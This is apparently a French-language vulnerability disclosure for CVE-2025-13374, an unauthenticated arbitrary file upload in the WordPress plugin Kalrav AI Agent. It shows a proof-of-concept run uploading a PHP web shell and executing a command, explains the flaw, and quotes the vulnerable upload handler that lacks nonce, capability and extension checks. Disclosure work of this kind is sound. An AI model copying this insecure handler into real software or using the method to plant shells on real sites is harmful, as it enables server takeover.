d0n601/cve-2025-13374Kalrav AI Agent <= 2.3.3 - Téléchargement arbitraire de fichier non authentifié via l'action AJAX kalrav_upload_file
Le plugin WordPress Kalrav AI Agent (version 2.3.3 et antérieures) contient une vulnérabilité de téléchargement arbitraire de fichiers qui permet à des utilisateurs non authentifiés de télécharger des fichiers PHP malveillants sur le serveur, pouvant conduire à une exécution de code à distance.
Un POC CVE-2025-13374.py est fourni pour démontrer qu'un attaquant distant peut télécharger shell.php et exécuter du code à distance :
python3 ./CVE-2025-13374.py http://techcorp.cc
[+] Target: http://techcorp.cc
[+] File uploaded successfully!
[+] Shell URL: http://techcorp.cc/wp-content/plugins/kalrav-ai-agent/uploads/1763247725-shell.php
[+] Command output:
www-data
La vulnérabilité existe dans la fonction au niveau du point d'entrée . La fonctionnalité de téléchargement manque de validation appropriée des fichiers, de vérification du nonce et de contrôles de capacités. Cela permet à des utilisateurs non authentifiés de télécharger des fichiers arbitraires, y compris des fichiers PHP pouvant être exécutés sur le serveur.
kalrav_upload_file()/wp-admin/admin-ajax.phpSource : Entrée utilisateur depuis $_FILES['file'] (ligne 978)
Puits : move_uploaded_file($_FILES['file']['tmp_name'], $target_path) (ligne 982)
La vulnérabilité se produit car :
wp_ajax_nopriv_kalrav_upload_file (ligne 967), permettant un accès non authentifié.wp_ajax_nopriv_ rend la fonction accessible aux utilisateurs non authentifiés.$_FILES['file'] sont directement traitées sans validation.basename() : time() . '-' . basename($_FILES['file']['name']) (ligne 979), ce qui empêche uniquement le parcours de répertoire mais ne valide pas les extensions de fichier.wp-content/plugins/kalrav-ai-agent/uploads/.Fichier : kalrav-ai-agent.php
Lignes : 969-996
add_action('wp_ajax_kalrav_upload_file', 'kalrav_upload_file');
add_action('wp_ajax_nopriv_kalrav_upload_file', 'kalrav_upload_file');
function kalrav_upload_file()
{
// Path to your plugin uploads folder
$upload_dir = plugin_dir_path(__FILE__) . 'uploads/';
if (!file_exists($upload_dir)) {
mkdir($upload_dir, 0755, true);
}
if (!empty($_FILES['file']['name'])) {
$file_name = time() . '-' . basename($_FILES['file']['name']);
$target_path = $upload_dir . $file_name;
if (move_uploaded_file($_FILES['file']['tmp_name'], $target_path)) {
wp_send_json_success([
'message' => 'File uploaded successfully!',
'file_path' => $target_path,
'url' => plugins_url('uploads/' . $file_name, __FILE__)
]);
} else {
wp_send_json_error(['message' => 'Failed to move uploaded file.']);
}
} else {
wp_send_json_error(['message' => 'No file uploaded.']);
}
wp_die();
}